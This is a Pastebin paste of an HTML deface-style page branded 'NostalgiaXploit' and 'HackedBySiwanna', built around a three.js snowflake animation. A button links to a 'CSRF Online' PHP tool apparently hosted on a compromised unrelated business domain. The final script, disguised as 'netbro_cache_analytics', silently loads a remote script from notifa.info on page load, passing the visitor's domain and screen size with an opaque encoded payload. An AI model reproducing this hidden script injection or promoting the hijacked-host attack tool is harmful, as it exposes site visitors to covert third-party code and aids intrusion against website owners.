Tersakiti

Script JS

Jul 10th, 2018
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.46 KB | None | 0 0
  1.  
  2.  
  3. <!DOCTYPE html>
  4. <html lang="en">
  5. <head>
  6. <link href="https://pre01.deviantart.net/0907/th/pre/i/2014/098/3/0/garuda_pancasila_indonesia_vektor_png_by_depalpiss-d7dmi74.png" rel="shortcut icon">
  7. <title>NostalgiaXploit</title>
  8. <meta charset="utf-8">
  9. <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
  10. <meta name="keywords" content="NostalgiaXploit">
  11. <meta name="author" content="Siwanna">
  12. <meta name="description" content="HackedBySiwanna">
  13. <meta name="copyright" content="NostalgiaXploit">
  14. <style>
  15. body {
  16. background-color: #000000;
  17. margin: 0px;
  18. overflow: hidden;
  19. font-family:Monospace;
  20. font-size:13px;
  21. text-align:center;
  22. font-weight: bold;
  23. text-align:center;
  24. }
  25.  
  26. a {
  27. color:#0078ff;
  28. }
  29.  
  30. #info {
  31. color:#fff;
  32. position: absolute;
  33. top: 0px;
  34. width: 100%;
  35. padding: 5px;
  36. }
  37.  
  38. .wrapper {
  39. position: fixed;
  40. width: 100%;
  41. height: 100%;
  42. top: 50%;
  43. left: 50%;
  44. transform: translate(-50%, -50%);
  45. -webkit-transform: translate(-50%, -50%);
  46. -moz-transform: translate(-50%, -50%);
  47. -o-transform: translate(-50%, -50%);
  48. -ms-transform: translate(-50%, -50%);
  49. z-index: 100;
  50. }
  51. .btn-wr {
  52. margin: auto;
  53. position: absolute;
  54. top: 50%;
  55. left: 50%;
  56. transform: translate(-50%, -50%);
  57. }
  58. button {
  59. cursor: pointer;
  60. width: 261px;
  61. padding: 24px;
  62. border-style: none;
  63. background: #3dff0069;
  64. color: #89db70;
  65. font-size: 20px;
  66. }
  67. .telegram {
  68. background-image: url("/images/telegram.png");
  69. background-color: #4aa6e0;
  70. background-repeat: no-repeat;
  71. background-position: center;
  72. background-size: contain;
  73. }
  74.  
  75. .logo {
  76. animation: rotate 10s infinite ease-in-out;
  77. opacity: .5;
  78. }
  79.  
  80. @keyframes rotate {
  81. from {
  82. transform: rotateY(0deg);
  83. }
  84.  
  85. to {
  86. transform: rotateY(360deg);
  87. }
  88. }
  89.  
  90.  
  91. </style>
  92. </head>
  93. <body>
  94. <div class="wrapper">
  95. <div class="logo"><img src="https://image.ibb.co/icwzpy/logo_1.png"></div>
  96. <div class="btn-wr">
  97. <a href="http://familyandfriendslandscapingllc.com/csrf-online.php"><button>CSRF Online</button></a>
  98. <a href="http://socialmediagurumastermind.com/index.html" target="_blank"><button class="Music">Music</button></a>
  99. </div>
  100. </div>
  101.  
  102. <script src="https://rawgit.com/mrdoob/three.js/master/build/three.js"></script>
  103.  
  104. <script src="https://rawgit.com/mrdoob/three.js/master/examples/js/Detector.js"></script>
  105. <script src="https://rawgit.com/mrdoob/three.js/master/examples/js/libs/stats.min.js"></script>
  106. <script src="https://rawgit.com/mrdoob/three.js/master/examples/js/libs/dat.gui.min.js"></script>
  107.  
  108. <script>
  109.  
  110. if ( ! Detector.webgl ) Detector.addGetWebGLMessage();
  111.  
  112. var camera, scene, renderer, stats, materials = [], parameters;
  113. var mouseX = 0, mouseY = 0;
  114.  
  115. var windowHalfX = window.innerWidth / 2;
  116. var windowHalfY = window.innerHeight / 2;
  117.  
  118. init();
  119. animate();
  120.  
  121. function init() {
  122.  
  123. camera = new THREE.PerspectiveCamera( 75, window.innerWidth / window.innerHeight, 1, 2000 );
  124. camera.position.z = 1000;
  125.  
  126. scene = new THREE.Scene();
  127. scene.fog = new THREE.FogExp2( 0x000000, 0.0008 );
  128.  
  129. var geometry = new THREE.BufferGeometry();
  130. var vertices = [];
  131.  
  132. var textureLoader = new THREE.TextureLoader();
  133.  
  134. var sprite1 = textureLoader.load( 'https://rawgit.com/mrdoob/three.js/master/examples/textures/sprites/snowflake1.png' );
  135. var sprite2 = textureLoader.load( 'https://rawgit.com/mrdoob/three.js/master/examples/textures/sprites/snowflake2.png' );
  136. var sprite3 = textureLoader.load( 'https://rawgit.com/mrdoob/three.js/master/examples/textures/sprites/snowflake3.png' );
  137. var sprite4 = textureLoader.load( 'https://rawgit.com/mrdoob/three.js/master/examples/textures/sprites/snowflake4.png' );
  138. var sprite5 = textureLoader.load( 'https://rawgit.com/mrdoob/three.js/master/examples/textures/sprites/snowflake5.png' );
  139.  
  140. for ( i = 0; i < 10000; i ++ ) {
  141.  
  142. var x = Math.random() * 2000 - 1000;
  143. var y = Math.random() * 2000 - 1000;
  144. var z = Math.random() * 2000 - 1000;
  145.  
  146. vertices.push( x, y, z );
  147.  
  148. }
  149.  
  150. geometry.addAttribute( 'position', new THREE.Float32BufferAttribute( vertices, 3 ) );
  151.  
  152. parameters = [
  153. [ [ 1.0, 0.2, 0.5 ], sprite2, 20 ],
  154. [ [ 0.95, 0.1, 0.5 ], sprite3, 15 ],
  155. [ [ 0.90, 0.05, 0.5 ], sprite1, 10 ],
  156. [ [ 0.85, 0, 0.5 ], sprite5, 8 ],
  157. [ [ 0.80, 0, 0.5 ], sprite4, 5 ]
  158. ];
  159.  
  160. for ( var i = 0; i < parameters.length; i ++ ) {
  161.  
  162. var color = parameters[ i ][ 0 ];
  163. var sprite = parameters[ i ][ 1 ];
  164. var size = parameters[ i ][ 2 ];
  165.  
  166. materials[ i ] = new THREE.PointsMaterial( { size: size, map: sprite, blending: THREE.AdditiveBlending, depthTest: false, transparent : true } );
  167. materials[ i ].color.setHSL( color[ 0 ], color[ 1 ], color[ 2 ] );
  168.  
  169. var particles = new THREE.Points( geometry, materials[i] );
  170.  
  171. particles.rotation.x = Math.random() * 6;
  172. particles.rotation.y = Math.random() * 6;
  173. particles.rotation.z = Math.random() * 6;
  174.  
  175. scene.add( particles );
  176.  
  177. }
  178.  
  179. //
  180.  
  181. renderer = new THREE.WebGLRenderer();
  182. renderer.setPixelRatio( window.devicePixelRatio );
  183. renderer.setSize( window.innerWidth, window.innerHeight );
  184. document.body.appendChild( renderer.domElement );
  185.  
  186. //stats = new Stats();
  187. //document.body.appendChild( stats.dom );
  188.  
  189. //
  190.  
  191. var gui = new dat.GUI();
  192.  
  193. var params = {
  194. texture: true
  195. }
  196.  
  197. gui.add( params, 'texture' ).onChange( function( value ) {
  198.  
  199. for ( var i = 0; i < materials.length; i ++ ) {
  200.  
  201. materials[ i ].map = ( value === true ) ? parameters[ i ][ 1 ] : null;
  202. materials[ i ].needsUpdate = true;
  203.  
  204. }
  205.  
  206. } );
  207.  
  208. gui.open();
  209.  
  210. document.addEventListener( 'mousemove', onDocumentMouseMove, false );
  211. document.addEventListener( 'touchstart', onDocumentTouchStart, false );
  212. document.addEventListener( 'touchmove', onDocumentTouchMove, false );
  213.  
  214. //
  215.  
  216. window.addEventListener( 'resize', onWindowResize, false );
  217.  
  218. }
  219.  
  220. function onWindowResize() {
  221.  
  222. windowHalfX = window.innerWidth / 2;
  223. windowHalfY = window.innerHeight / 2;
  224.  
  225. camera.aspect = window.innerWidth / window.innerHeight;
  226. camera.updateProjectionMatrix();
  227.  
  228. renderer.setSize( window.innerWidth, window.innerHeight );
  229.  
  230. }
  231.  
  232. function onDocumentMouseMove( event ) {
  233.  
  234. mouseX = event.clientX - windowHalfX;
  235. mouseY = event.clientY - windowHalfY;
  236.  
  237. }
  238.  
  239. function onDocumentTouchStart( event ) {
  240.  
  241. if ( event.touches.length === 1 ) {
  242.  
  243. event.preventDefault();
  244.  
  245. mouseX = event.touches[ 0 ].pageX - windowHalfX;
  246. mouseY = event.touches[ 0 ].pageY - windowHalfY;
  247.  
  248. }
  249.  
  250. }
  251.  
  252. function onDocumentTouchMove( event ) {
  253.  
  254. if ( event.touches.length === 1 ) {
  255.  
  256. event.preventDefault();
  257.  
  258. mouseX = event.touches[ 0 ].pageX - windowHalfX;
  259. mouseY = event.touches[ 0 ].pageY - windowHalfY;
  260.  
  261. }
  262.  
  263. }
  264.  
  265. //
  266.  
  267. function animate() {
  268.  
  269. requestAnimationFrame( animate );
  270.  
  271. render();
  272. //stats.update();
  273.  
  274. }
  275.  
  276. function render() {
  277.  
  278. var time = Date.now() * 0.00005;
  279.  
  280. camera.position.x += ( mouseX - camera.position.x ) * 0.05;
  281. camera.position.y += ( - mouseY - camera.position.y ) * 0.05;
  282.  
  283. camera.lookAt( scene.position );
  284.  
  285. for ( var i = 0; i < scene.children.length; i ++ ) {
  286.  
  287. var object = scene.children[ i ];
  288.  
  289. if ( object instanceof THREE.Points ) {
  290.  
  291. object.rotation.y = time * ( i < 4 ? i + 1 : - ( i + 1 ) );
  292.  
  293. }
  294.  
  295. }
  296.  
  297. for ( var i = 0; i < materials.length; i ++ ) {
  298.  
  299. var color = parameters[ i ][ 0 ];
  300.  
  301. var h = ( 360 * ( color[ 0 ] + time ) % 360 ) / 360;
  302. materials[ i ].color.setHSL( h, color[ 1 ], color[ 2 ] );
  303.  
  304. }
  305.  
  306. renderer.render( scene, camera );
  307.  
  308. }
  309.  
  310. document.getElementsByClassName("dg")[0].style.display = "none";
  311.  
  312. </script>
  313. <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "p03.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582NzYpoUazw5maJYJG%2b9aLvdwp9awj0ngTr8Qmv6geN3xn%2fWC0uqz80%2f3wvsgO1AuksyeYqxE50GLbIgQDbtSIWq24ZlmWPXoh69BDk8SyPXSX49KTZvJHBWfx4ApnB9aO%2fZid%2fzdF%2f%2bo0lQlAQQtuKf1kxOTDfvvb%2bIkAHJwC9ZifouxC3%2fkSbM7wXPZB0F1sWcb8KP2FrthNcQuCbzJkHm6S6Lkf%2fJ6bvF7cTirFUwb%2bxLEkM0Y9KGrxcG50JEi6VFoaIfmpBr7QLWbeEYGs%2bpOzBQaftwvOcAP1i90sSJfNSRaVWYci1EVrloapqMs3OVu38R0kV7xYMzIdrsf5uATOX2R7Iu%2fXLWr%2bHhOuoFeb3201Uf4ctjxu6BAWu3eMfySdrPF%2ftqGYxSed3adg%2fRQ%2byuc2YEKihVblsu%2bl2yJ97Tu8iUjNhqs%2b%2bxDXbkkrGAakrE7FGWjqowXE2C81AtANWUMYyjhiWOrKmReyH5dHlcy3BybrQQ4o7oYoQtI213HguY66uBPtlhssLZiIIwlFFyDSfN4fw%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
  314. </html>
Advertisement
Add Comment
Please, Sign In to add comment